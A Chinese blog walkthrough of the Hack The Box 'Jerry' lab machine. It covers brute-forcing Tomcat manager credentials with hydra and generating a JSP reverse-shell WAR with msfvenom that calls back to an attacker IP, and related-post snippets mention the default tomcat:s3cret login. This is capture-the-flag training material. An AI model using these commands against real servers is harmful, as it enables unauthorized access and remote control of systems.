【Hack The Box】windows练习-- jerry

最新推荐文章于 2024-07-22 14:15:06 发布
最新推荐文章于 2024-07-22 14:15:06 发布
阅读量184 收藏 1
点赞数 1
分类专栏： Hack The Box 文章标签： java tomcat 前端 Hack The Box 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65527369/article/details/127623024
版权

HTB 学习笔记

【Hack The Box】windows练习-- jerry

🔥系列专栏：Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2022年10月31日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

文章目录

信息收集

在这里插入图片描述发现开启了tomcat
在这里插入图片描述
首先，关于tomcat,我们要明确两点（第一就是/manager目录，看是否存在，如果存在，是否存在弱口令，弱口令要么去网上找，要么就直接爆破）

在这里插入图片描述
然后就是如果爆破的话，一般在manager后面还会有个html，当你点击取消的时候你就会发现
在这里插入图片描述

hydra -C ./Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.129.8.70:8080/manager/html

在这里插入图片描述

爆破出来之后先登陆admin的，发现啥都没有，就退回来登陆另一个
发现后台，然后就是常见的rar的反弹shell

在这里插入图片描述

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=8888 -f war > shell.war

在我们上传之后会自动的跳出文件页面，我们只需要点击一下，就能拿到反弹shell

在这里插入图片描述
然后去桌面找，就能找到，这里注意，带空格的文件名需要引号起来

在这里插入图片描述

人间体佐菲
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
专栏目录
hackthebox-Jerry（考点：tomcat安全/windows）
冬萍子癸水
04-16 417
nmap 就8080，扫描结果显示是tom猫 网上有很多方法，把tom猫按在地上摩擦。。。这个 先传统方法。进去，上传 dirbuster搜到manager登录页面 不知道密码，那么想法找密码，但是如果此时点了取消登录框cancel，密码就自动出来了。。。。。。。。额 或者kali自带的破解tom的字典，在这里 然后用这个小脚本自动跑 #!/usr/bin/env python impor...
Hackthebox:Jerry Walkthrough（not use metasploit）
汗的博客
12-19 675
Jerry是一个Windows系统的Hackthebox靶机，主要和tomcat有关，本walkthrough未使用msf
hack the box jerry靶机
zr1213159840的博客
04-14 937
打开靶机，扫一下看看有什么东西。能看到是存在一个8080端口，tomcat，apache等信息 nmap -sV -Pn -A 10.10.10.95 这个机器给了提示，说什么远程命令执行，什么文件上传之类的。我感觉使用msf或许可以。于是打开msf进去搜索了一下。能看到确实有上传相关的漏洞。 search apache tomcat 这下好了，直接利用就好了，哈哈哈哈。 首先配置远程主机为10.10.10.95，配置远程端口为8080，然后直接run！不出意外直接没用，非常尴尬。 接着看了一下漏
No.60-HackTheBox-windows-Jerry-Walkthrough渗透学习
qq_34801745的博客
02-25 319
** HackTheBox-windows-Jerry-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/144 靶机难度：初级（4.0/10） 靶机发布日期：2018年11月11日 靶机描述： Although Jerry is one of the easier machines on Hack The Bo...
jerry yue_如何从hackthebox入侵jerry
weixin_26636643的博客
09-27 537
jerry yue 介绍 (Introduction) Welcome to my third article. Today we will be looking at Jerry from HackTheBox. This is a realistic and very easy box. The article will again be similar to my first and sec...
Hack-the-Box-OSCP-Preparation:Hack-the-Box-OSCP-Preparation
03-20
介绍你好呀！如果您不认识我，我叫Rana Khalil，然后按Twitter句柄 。在花了将近八个月的时间，攻读了Offensive Security Certified Professional（OSCP）认证后，我很高兴地宣布我已获得OSCP官方认证！...
hack-browser-data-windows-64bit
05-12
这款工具支持多种主流浏览器，如 Chrome、Firefox、Edge、360、QQ、Brave 等，并且可以在 Windows、macOS 和 Linux 系统上运行。 安装和使用：对于 Windows 系统，安装过程非常简单。用户只需下载适用于 Windows 64...
HackTheBox-Writes-Ups:HackTheBox CTFC挑战写作
03-20
【标题】"HackTheBox-Writes-Ups:HackTheBox CTFC挑战写作"涉及的是一个网络安全领域的活动，其中“HackTheBox”是一个知名的在线平台，它提供了模拟黑客攻击的环境来提升安全专业人员的技能。CTF（Capture The Flag...
Hackthebox e Vulnhub - Dicas e Truques.pdf
10-06
在这个领域，两个知名的在线平台是Hackthebox和Vulnhub，它们提供虚拟环境供用户实践和提升渗透测试技能。这份PDF文档作者Joas Antonio分享了一些初学者在接触这些平台时可能会发现有用的技巧和策略。 首先，对于...
Stego-Challenges-HackTheBox-Write-Ups:Hack The Box带来的Stego挑战| Walkthoughs写ups
03-21
在IT安全领域，尤其是黑客挑战平台如Hack The Box（HTB）中，"Stego"是一种常见的挑战类型，它涉及到隐藏信息的技术，通常被称为隐写术。隐写术是一种利用图像、音频、文本等载体秘密传输信息的方法。在这个特定的...
Hack the box靶机 Jerry
菜浪马废的博客
05-27 371
需要账户 ？？？？？？？ 老子就点了个取消 你把密码都给我了？ tomcat：s3cret 登录完还是这个 再找找其他的 /manage可以登录进来 可以上传文件 需要点一下我上传的shell 才能连接 查看有空格的文件名的时候 用“”把文件名括起来就可以查看了 白天不知道因为什么心烦 没怎么学习 随便翻了翻linux的缓冲区 还有一个htb上win的简单的题 还得努力啊 离着月薪三万还差得远呢 加油！ ...
[Hack The Box]靶机4 Jerry
Huamang的博客
03-29 510
首先用nmap进行端口扫描，看到只开启了8080端口，是Tomcat 给出的是默认界面 dirmap扫描了一下目录 去manager管理页面看看，他需要认证 他提示密码为s3cret，试了一下真是这个，倒省事了，不用我自己爆破 进tomcat的后台就好弄了哦，getshell方法多的是，这里写的挺多的，这里我选择直接用是msf打，方便点 use exploit/multi/http/tomcat_mgr_upload 直接打通 在Administrator的桌面发现flag cd C:.
HackTheBox::Jerry
aya3t的博客
10-12 204
HackTheBox::Jerry
Hackthebox------Jerry
大方子
11-24 3043
hackthebox网站:https://www.hackthebox.eu   这次我们的靶机叫-Jerry IP：10.10.10.95   ====================================================================================== 1.先用nmap对 目标靶机进行扫描 nmap -sC -sV...
HackTheBox-Lame&Jerry渗透测试
weixin_43111940的博客
04-13 202
Lame 端口扫描 sudo nmap -sC -sV -p 21,22,139,445,3632 10.10.10.3 发现了ftp和smb服务 匿名登录一下ftp 没有什么东西 查找smb服务的exp searchslpoit smb 这里可以用msf打 由于在OSCP的进攻方认证考试中只允许对一台主机用msf，所以在测试的时候尽量避免用msf（直接用msf很low） 用的是distccd的脚本，搜索distccd exploit 找到对应的脚本 https://gist.github.co
12. Hibernate 模板设计模式
最新发布
这是一个web全栈开发的博客，取其精华去其糟粕，争取让大家一看就懂，一学就会，一用就成~
07-22 587
如何运用模板设计模式重构 Hibernate 操作流程；持久化对象与序列化接口；OOP中有一个编码原则 ：写仅写一次。翻译过来就是，不要重复，要重用。答案是：使用模板设计模式进一步封装Hibernate的操作。在真实项目中，Hibernate仅仅只是完成项目中的一部分工作，需要和其它，如Spring等框架联合工作，一起承担整体项目的开发。Spring框架中就提供的有Hibernate模板对象。一个常规的、频繁的操作代码中，大部分代码不需要变动，只有小部分代码需要根据需求变动。
Java内存模型
weixin_44267758的博客
07-19 707
此处的变量不是指java编程中的变量，它包括了实例字段，静态字段和构成数值对象的元素，但不包括局部变量和方法参数。JMM规定所有变量都存储在主内存中。每条线程有自己的工作内存，工作内存中保留了该线程使用到变量的主内存的副本。线程对变量的所有操作都必须在工作内存中进行，不能直接读写主内存的变量，不同的线程间也无法直接访问对方工作内存的变量，线程之间的变量值传递需要通过主内存来完成。
Promise 详解（原理篇）
山重水复疑无路，柳暗花明又一村。
07-20 684
Promise 是一种异步编程的解决方案。在异步操作中，callback 会导致回调地狱的问题，Promise 解决了这个问题。一个 Promise对象有以下三种状态:pending：初始状态，既不是成功，也不是失败状态。：意味着操作成功完成。rejected：意味着操作失败。当 new Promise() 被实例化后，即表示 Promise 进入 pending 初始化状态，准备就绪，等待运行。
接口防刷！利用redisson快速实现自定义限流注解
架构师小吴的博客
07-18 1226
如登录接口，当用户使用手机号+验证码登录时，一般我们会生成6位数的随机验证码，并将验证码有效期设置为1-3分钟，如果对登录接口不加以限制，理论上，通过技术手段，快速重试100000次，即可将验证码穷举出来。解决思路：对登录接口加上限流操作，如限制一分钟内最多登录5次，登录次数过多，就返回失败提示，或者将账号锁定一段时间。在日常开发中，一些重要的对外接口，需要加上访问频率限制，以免造成资��损失。ok，通过以上两步，即可完成我们的限流注解了，下面通过一个接口验证下效果。
hackthebox - reel
11-03
HackTheBox - Reel是一个在黑客社区非常受欢迎的虚拟机靶场。这个靶场的目标是通过渗透测试和攻击手法，找到并获得系统的管理员权限。靶场基于漏洞存在和网络安全问题，提供了一个真实的环境来练习和提升安全技能。 Reel虚拟机是以恶意软件传播为主题的，这是一个很常见但危险的网络攻击。在解决这个靶场时，你需要进行全面的信息搜集，发现可能的漏洞，并利用这些漏洞来控制系统。你还需要进行各种网络嗅探和流量分析操作，以便找到系统中的隐藏服务和登录凭证。 在攻击过程中，你需要利用各种漏洞包括未经授权的访问和远程执行代码等。还需要理解和使用不同的入侵技术，例如命令注入和文件上传等。此外，你可能还需要对恶意软件的分析和行为进行深入研究，以了解其运行机制。 HackTheBox - Reel不仅测试了你的渗透测试技能，而且还促使你加强对恶意软件攻击和防护的了解。同时，这个靶场还有很多高级技术和技巧需要掌握。通过挑战这样的虚拟机，你可以提高你的安全意识和技能，以应对更复杂和高级的网络攻击。 总之，HackTheBox - Reel是一个非常有挑战性的虚拟机靶场，通过攻击和渗透测试，你将提高你的安全技能，并了解到如何防范和对抗恶意软件传播。这是一个很好的方式来锻炼和提升你的网络安全技术。
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值